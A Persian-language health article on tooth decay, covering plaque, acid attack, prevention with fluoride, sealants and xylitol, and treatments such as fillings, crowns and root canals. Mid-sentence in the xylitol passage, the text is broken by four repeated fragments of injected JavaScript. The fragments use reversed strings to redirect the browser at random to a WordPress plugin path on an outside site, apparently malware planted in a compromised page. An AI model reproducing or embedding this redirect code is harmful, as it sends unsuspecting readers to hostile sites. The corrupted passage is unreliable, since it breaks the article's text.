پوسیدگیهای دندان (dental caries) از شایعترین بیماریهای ساختمان دندان هستند و به آنها حفره دندان، کرم خوردگی یا سوراخ شدن دندان هم گفته میشود. این اختلال در صورت عدم درمان موجب درد و تخریب دندان و حتی از بین رفتن و افتادن دندان میشود. با هر بار خوردن غذا، قطعات کوچکی از آن در بین دندانها و اطراف لثه ها باقی میماند. این قطعات با بزاق دهان و باکتریهای تشکیل دهنده پلاک دندانی مخلوط میشوند. این پلاک، ماده ای چسبندهای است که به دندانها می چسبد. پوسیدگی دندان در اثر اسیدهای تولید شده به وسیلهی قندهای هضم کننده قند موجود در غذای پلاکها روی میدهد. این اسیدها، مینای دندان را حل میکنند و باعث پوسیدگی دندان میشوند.
– پوسیدگی دندان معمولاً در طول چک آپهای منطم دندان تشیخص داده میشود. در مراحل اولیه پوسیدگی دندان ممکن است درد موجود نباشد ولی معمولاً سطح دندان نرم میشود. بخش آسیب دیده دندان قابل ترمیم خود به خود نیست. پوسیدگی دندان با برداشتن قسمت آسیب دیده از طریق تراشیدن و مته و سپس پر کردن آن به وسیله دندانپزشک درمان میشود. مواد ترمیم کننده پوسیدگی دندان عبارتند از طلا، آمالگام دندانی یا رزین کمپوزیت.
نکته:
اگر پوسیدگی دندان در مراحل اولیه درمان شود با درد کمتری همراه است و معمولاً هزینه زیادی نخواهد داشت.
– رعایت بهداشت دهان، استفاده مرتب از مسواک و نخ دندان باعث پیشگیری از بروز پوسیدگی دندان میشود.
– وجود پلاک میکروبی و فعالیت میکروبی پلاک روی سطح دندان، مواد قندی غذا که در اختیار پلاک قرار میگیرند، وضعیت مقاومت بدن شخص و وجود زمان کافی برای ایجاد پوسیدگی و مستعد بودن سطوح دندان و ضعیف بودن آن در برابر اسید عوامل اصلی مؤثر در بروز پوسیدگی دندان هستند.
نکته:
پوسیدگی دندان، شایعترین بیماری مزمن جهان است.
– در حفره دهان، بیش از 17 نوع میکروب، دائماً در حال فعالیت هستند و مشخص شده است که پلاک دندانی از نقش مهمی در ایجاد پوسیدگی دندان در بیماریهای لثه برخوردار است. پلاک میکروبی، تودهای بیرنگ، چسبنده و غیرقابل رؤیت است که از تجمع انواع میکروبها و سلولهای محیط دهان تشکیل میشود. این پلاک بر روی سطوح مختلف دندانها، فواصل دندانها و شیارهای سطح جونده تشکیل میشود. چنان چه پلاکها از سطح دندان برداشته نشوند میتوانند بیماری لثه و پوسیدگی دندان ایجاد کنند.
– پس از مصرف هر وعده غذا، در اثر تخمیر مواد غذایی باقی مانده در سطوح مختلف دندانها، برای مدتی حدود 20 دقیقه، در دهان اسید تولید می شود. چنانچه یک فرد طی شبانه روز سه وعده غذا بخورد حدود یک ساعت در دهان او اسید به وجود میآید و اگر در بین سه وعده غذای اصلی، از مواد غذایی دیگری هم استفاده کند، بزاق دهانش حدود 2 ساعت حالت اسیدی خواهد داشت و در صورت مسواک نزدن، مواد اسیدی به مدت بیشتری در دهان و در تماس با دندانها باقی می مانند و به تدریج مینای دندان را حل می کنند و خود را به عاج دندان که بافت حساسی است می رسانند و از این به بعد، سرعت پیشرفت پوسیدگی افزایش می یابد و سپس میکروبهای موجود در دهان، عصب دندان را تحریک و آن را ملتهب و عفونی میکنند.
– برای پیشگیری از پوسیدگی دندان اقدامات زیر ضرورت دارد:
1. مسواک کردن مرتب با روش صحیح
2- استفاده مرتب از نخ دندان و دهان شویه های تجویز شده به وسیله دندانپزشک
3- نکشیدن سیگار
4- درمان با فلوراید، با دستور دندانپزشک
5- کاهش مصرف مواد قندی
6- مراجعه به دندانپزشک برای پوشاندن شیارهای سطح دندان (فیشورسیلانت) برای پیشگیری از توسعه پوسیدگی
7- پر کردن پوسیدگیهای خفیف با هدف پیشگیری از پیشرفت آن
8- مراجعه منظم به دندانپزشک.
نکته:
اگر پلاک دندانی به طور منظم برداشته نشود، لایه ضخیمتری به نام جرم (tartar) به وجود میآید و در این صورت، باکتریهای نزدیکتر به دندانها شروع به تنفس بیهوازی میکنند و در نتیجه، اسیدهایی به وجود میآیند که در نهایت منجر به آسیب سطح دندانها و پوسیدگی میشوند. بنابراین برای داشتن دندان سالم باید هر روز پلاک دندانی را برداشت.
– سطوح جونده (سطوح اکلوزال؛ Occlusal surfaces) دندانها، 5/12 درصد از تمام سطوح دندانها را تشکیل میدهند ولی بیش از 50 درصد تمام پوسیدگیهای دندان در این سطوح ایجاد میشود.
– وقتی پوسیدگی به عاج دندان، در ناحیه اتصال عاج – مینا برسد به سرعت به سمت جانبی توسعه می یابد. در داخل عاج، پوسیدگی به شکل مثلثی که رأس آن به طرف پالپ دندان قرار دارد پیشرفت میکند.
– وجود نقطه قهوه ای تیره بر روی سطح دندان، احتمالاً علامت وجود پوسیدگی فعال است. با تخریب مینا و عاج، حفره پوسیدگی بزرگتر و قابل توجه تر میشود. وقتی که پوسیدگی از مینای دندان عبور میکند، لوله های عاج که مسیر عبور اعصاب دندانها هستند باز می شوند و در نتیجه، درد دندان بروز می کند. درد ممکن است در اثر تماس دندان با گرما، سرما یا غذاهای شیرین و نوشیدنیها افزایش یابد. پوسیدگی دندان همچنین می تواند باعث ایجاد تنفس بدبو و احساس طعم بد شود. در موارد بسیار پیشرفته، عفونت از دندان به بافتهای نرم اطراف گسترش مییابد.
توجه:
ممکن است پوسیدگیهای دندان، عوارض خطرناک و کشنده ای مانند ترومبوز سینوس و آنژین لودویگ را به همراه داشته باشند.
– بیماریهای کاهش دهنده مقدار بزاق تولید شده به وسیله غدد بزاقی، به ویژه غده زیر فکی و غده بناگوشی (پاروتید) به طور شایع میتوانند موجب پوسیدگی وسیع دندانها شوند. از جملهی این بیماریها باید سندرم شوگرن، دیابت شیرین، دیابت بیمزه و سارکوییدوز را نام برد.
– مصرف داروهایی مثل آنتی هیستامینها و داروهای ضد افسردگی نیز میتوانند جریان بزاق را مختل کنند. داروهای محرک، به ویژه متیل آمفتامین باعث مسدود شدن جریان بزاق میشوند.
– رادیوتراپی سر و گردن ممکن است به سلولهای غدد بزاقی آسیب وارد کند و احتمال پوسیدگی دندان را افزایش دهد.
– پوسیدگی دندان با مشاهده به وسیله نور کافی و آینه دندانپزشکی و رادیوگرافی دندانها تشخیص داده میشود. پوسیدگیهای بزرگ معمولاًبا چشم غیرمسلح دیده میشوند.
– از آنجا که فرآیند پوسیدگی دندان، قبل از ایجاد حفره، قابل برگشت است ممکن است بتوان با استفاده از فلوراید و معدنی کردن دوباره سطح دندان، جلوی پیشرفت پوسیدگی را گرفت.
– برای برداشتن قسمتهای بزرگ پوسیدگی دندان از دریل (هندپیس، handpiece) دندانی استفاده میشود.
– برای پر کردن دندان از موادی مانند آمالگام (amalgam)، رزین کمپوزیت (composite resin)، پرسلن (چینی؛ porcelain) و طلا (gold) استفاده میشود.
رزین کامپوزیت و پرسلن به نحوی ساخته شده اند که رنگ آنها به رنگ دندان طبیعی است. مقاومت کامپوزیت، مانند آمالگام و طلا نیست و بعضی از دندانپزشکهای برای دندانهای آسیای عقبی که نیروی جویدن زیادی بر آنها وارد میشود از طلا برای پر کردن دندان استفاده میکنند.
– چنانچه پوسیدگی دندان خیلی وسیع باشد ممکن است بافت دندانی کافی برای آنکه ماده ترمیمی بتواند در داخل دندانها باقی بماند وجود نداشته باشد. در این صورت استفاده از تاج (کراون: Crown) ضرورت دارد. کراون، شبیه کلاهک، بر روی باقی مانده تاج طبیعی دندان قرار میگیرد کراونها، اغلب از طلا، چینی (پرسلن) یا پرسلن متصل شده به فلز ساخته میشوند.
– در بعضی موارد، ممکن است درمان اندودنتیک (endodontic) برای ترمیم دندان ضرورت پیدا کند. این درمان، روت کانال (root canal) هم نامیده میشود و در مواردی به کار میرود که پالپ دندان در اثر عفونت ناشی از باکتری ایجاد کننده پوسیدگی یا در اثر ضربه مرده باشد.
در جریان روت کانال، پالپ دندان، شامل عصب و بافتهای عروقی، همراه با بخشهای پوسیده دندان برداشته میشود. کانالها با فایلهای اندودونتیک تمیز و شکل دهی و معمولاً با ماده لاستیک مانندی به نام گوتاپرکا (gutta percha) پر میشوند. پس از پر کردن دندان میتوان تاج (کراون) بر روی آن قرار داد. با انجام روت کانال، بافت دندان دیگر زنده نیست و هر نوع بافت زنده آن از بین می رود.
– چنانچه دندان دچار پوسیدگی خیلی وسیع شده باشد ممکن است کشیدن آن ضرورت یابد.
– امروزه جویدن آدامسهای حاوی زایلیتول xylitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tol (نوعی الکل قندی) به طور گسترده برای محافظت از دندانها به ویژه در بعضی کشورها رایج شده است.
اثر زایلیتول بر کاهی پلاک دندانی احتمالاً ناشی از ناتوانی باکتریها در به مصرف رساندن آن، مانند سایر قندها است. همچنین جویدن و تحریک گیرنده های چشایی روی زبان موجب افزایش ترشح بزاق میشود و بزاق، حاوی بافرهایی طبیعی است که از کاهش pH دهان (تا حدی که موجب کاهش ماده معدنی مینای دندان شود) جلوگیری میکنند.
– استفاده از مواد عایق بندی دندان (سیلانتهای دندانی؛ dental sealants) از راههای پیشگیری از پوسیدگی است. این مواد، نوعی غشای نازک پلاستیک مانند هستند که به سطح جونده دندانهای آسیا مالیده میشوند و از به دام افتادن مواد غذایی در داخل سوراخها و شیارهای دندانها در زیر فشار جویدن جلوگیری به عمل می آورند و در نتیجه، کربوهیدراتها به پلاک باکتریال مقاوم نمیرسند و از ایجاد پوسیدگی دندان پیشگیری میشود. معمولاً سیلانتها را معمولاً کمی بعد از درآمدن دندانهای آسیا قرار می دهند ولی میتوان در سنین بالا هم از آنها استفاده کرد.
– معمولاً برای پیشگیری از پوسیدگی دندان، مصرف کلسیم (از طریق شیر و سبزیجات سبز) توصیه میشود.
– فلوراید با متصل شدن به کریستالهای هیدروکسی آپاتیت مینای دندان به پیشگیری از پوسیدگی آن کمک میکند. میتوان از فلوراید موضعی (علاوه بر فلوراید اضافه شده به آب شرب، نمک و شیر) به صورت خمیردندان یا دهان شویه نیز استفاده کرد. فلوراید در چای و ماهی نیز به مقدار زیاد وجود دارد.
– برسهای مخصوص بین دندانی و دهان شویه نیز به بهداشت دندان و جلوگیری از پوسیدگی کمک میکنند.
– انواع پوسیدگی دندان عبارتند از:
1- پوسیدگی تاج: این نوع پوسیدگی اغلب بر روی سطحهای افقی دندان روی می دهد و در کودکان و بزرگسالان شایع است.
2- پوسیدگی ریشه: با افزایش سن، لثه ها به تدریج عقب نشینی میکنند و چون قسمتهایی از دندان که زیر لثه مخفی بوده فاقد مینا است در برابر پوسیدگی بسیار آسیب پذیر است و همین موضوع موجب پوسیدگی ریشه دندان میشود.
3- پوسیدگی دوباره: اطراف دندان پر شده، محل مناسبی برای جمع شدن پلاک و در نتیجه، بروز پوسیدگی دوباره است. افراد مبتلا به خشکی دهان به دلیل کمبود ترشح بزاق، بیشتر در معرض پوسیدگی قرار میگیرند، عدم درمان به موقع پوسیدگی میتواند موجب آسیب عصب دندان و ایجاد آبسه لثه شود.
نکته:
مصرف غذاهای پیشگیری کننده از پوسیدگی دندان، مانند پنیر، آجیل و سبزیجات خام برای جلوگیری از بروز این مشکل مفید است.